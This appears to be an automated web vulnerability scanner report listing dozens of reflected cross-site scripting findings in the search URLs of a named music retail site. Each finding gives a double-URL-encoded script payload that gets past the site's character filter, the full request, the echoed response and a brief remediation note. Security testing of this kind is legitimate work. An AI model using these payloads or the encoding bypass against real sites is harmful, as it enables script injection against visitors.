GET /search/query/Nations%20by%20the%20River247ad%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e50d1ed31388&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Nations by the River247ad</title><script>alert(1)</script>50d1ed31388</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4bc8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec3f0d5ee781 was submitted in the REST URL parameter 3. This input was echoed as b4bc8"><script>alert(1)</script>c3f0d5ee781 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nations%20by%20the%20Riverb4bc8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ec3f0d5ee781&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <input type="hidden" name="query" value="Nations by the Riverb4bc8"><script>alert(1)</script>c3f0d5ee781" /> ...[SNIP]...
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload e348b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efbc26b6fab2 was submitted in the REST URL parameter 3. This input was echoed as e348b</title><script>alert(1)</script>fbc26b6fab2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Native%20Faunae348b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efbc26b6fab2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f7d58%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7780609dff2 was submitted in the REST URL parameter 3. This input was echoed as f7d58"><script>alert(1)</script>7780609dff2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Native%20Faunaf7d58%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7780609dff2&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload def8c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e46ad35eb0a3 was submitted in the REST URL parameter 3. This input was echoed as def8c"><script>alert(1)</script>46ad35eb0a3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nativedef8c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e46ad35eb0a3&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload f54bb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7667ec92db6 was submitted in the REST URL parameter 3. This input was echoed as f54bb</title><script>alert(1)</script>7667ec92db6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nativef54bb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7667ec92db6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60264%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb29d7e63684 was submitted in the REST URL parameter 3. This input was echoed as 60264"><script>alert(1)</script>b29d7e63684 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Natural%20Calamity60264%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb29d7e63684&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 60aa0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eebeeb90ac7f was submitted in the REST URL parameter 3. This input was echoed as 60aa0</title><script>alert(1)</script>ebeeb90ac7f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Natural%20Calamity60aa0%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eebeeb90ac7f&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 8b33b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0ce97fd2321 was submitted in the REST URL parameter 3. This input was echoed as 8b33b</title><script>alert(1)</script>0ce97fd2321 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Neon%20Indian8b33b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0ce97fd2321&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44eac%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea9c5100ddc5 was submitted in the REST URL parameter 3. This input was echoed as 44eac"><script>alert(1)</script>a9c5100ddc5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Neon%20Indian44eac%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea9c5100ddc5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b06cb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e040514512f7 was submitted in the REST URL parameter 3. This input was echoed as b06cb</title><script>alert(1)</script>040514512f7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nicki%20Minajb06cb%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e040514512f7&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2554%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1674cf7956e was submitted in the REST URL parameter 3. This input was echoed as d2554"><script>alert(1)</script>1674cf7956e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nicki%20Minajd2554%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1674cf7956e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload f5067%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea4f7f8a60ff was submitted in the REST URL parameter 3. This input was echoed as f5067</title><script>alert(1)</script>a4f7f8a60ff in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nico%20Muhlyf5067%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea4f7f8a60ff&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53cf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e84bb1fedb4e was submitted in the REST URL parameter 3. This input was echoed as 53cf9"><script>alert(1)</script>84bb1fedb4e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nico%20Muhly53cf9%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e84bb1fedb4e&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8da4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efcd4cf55567 was submitted in the REST URL parameter 3. This input was echoed as c8da4"><script>alert(1)</script>fcd4cf55567 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nightlandsc8da4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253efcd4cf55567&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 345a3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e329f1a03ae6 was submitted in the REST URL parameter 3. This input was echoed as 345a3</title><script>alert(1)</script>329f1a03ae6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nightlands345a3%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e329f1a03ae6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 85401%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb09a2bfb86 was submitted in the REST URL parameter 3. This input was echoed as 85401</title><script>alert(1)</script>b09a2bfb86 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nine%20Inch%20Nails85401%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eb09a2bfb86&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html lang="en-US" xml:lang="en-US" xmlns="http://www.w3.org/1999/xhtml"> <head> <link re ...[SNIP]... <title>Nine Inch Nails85401</title><script>alert(1)</script>b09a2bfb86</title> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fafbc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef5df44c77e5 was submitted in the REST URL parameter 3. This input was echoed as fafbc"><script>alert(1)</script>f5df44c77e5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Nine%20Inch%20Nailsfafbc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef5df44c77e5&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1bca8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0c917716b01 was submitted in the REST URL parameter 3. This input was echoed as 1bca8"><script>alert(1)</script>0c917716b01 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/No%20Age1bca8%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e0c917716b01&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 3830b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edc8c45dc071 was submitted in the REST URL parameter 3. This input was echoed as 3830b</title><script>alert(1)</script>dc8c45dc071 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/No%20Age3830b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253edc8c45dc071&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload aa06b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eabbbe1eaea6 was submitted in the REST URL parameter 3. This input was echoed as aa06b</title><script>alert(1)</script>abbbe1eaea6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/OFF!aa06b%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253eabbbe1eaea6&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e27ad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef5aa40188b8 was submitted in the REST URL parameter 3. This input was echoed as e27ad"><script>alert(1)</script>f5aa40188b8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/OFF!e27ad%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ef5aa40188b8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload 3b3ac%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed4e01c33c46 was submitted in the REST URL parameter 3. This input was echoed as 3b3ac</title><script>alert(1)</script>d4e01c33c46 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Orange%20Juice3b3ac%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ed4e01c33c46&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efb87%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e92227f002c8 was submitted in the REST URL parameter 3. This input was echoed as efb87"><script>alert(1)</script>92227f002c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/Orange%20Juiceefb87%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e92227f002c8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the HTML document as text between TITLE tags. The payload b0484%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e980e1e0e4cd was submitted in the REST URL parameter 3. This input was echoed as b0484</title><script>alert(1)</script>980e1e0e4cd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/PJ%20Harveyb0484%253c%252ftitle%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e980e1e0e4cd&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff7bc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e00312ed5ba8 was submitted in the REST URL parameter 3. This input was echoed as ff7bc"><script>alert(1)</script>00312ed5ba8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /search/query/PJ%20Harveyff7bc%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e00312ed5ba8&from=47597/ HTTP/1.1 Host: www.insound.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59d7f%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e8e61b363abb was submitted in the REST URL parameter 3. This input was echoed as 59d7f"><script>alert(1)</script>8e61b363abb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
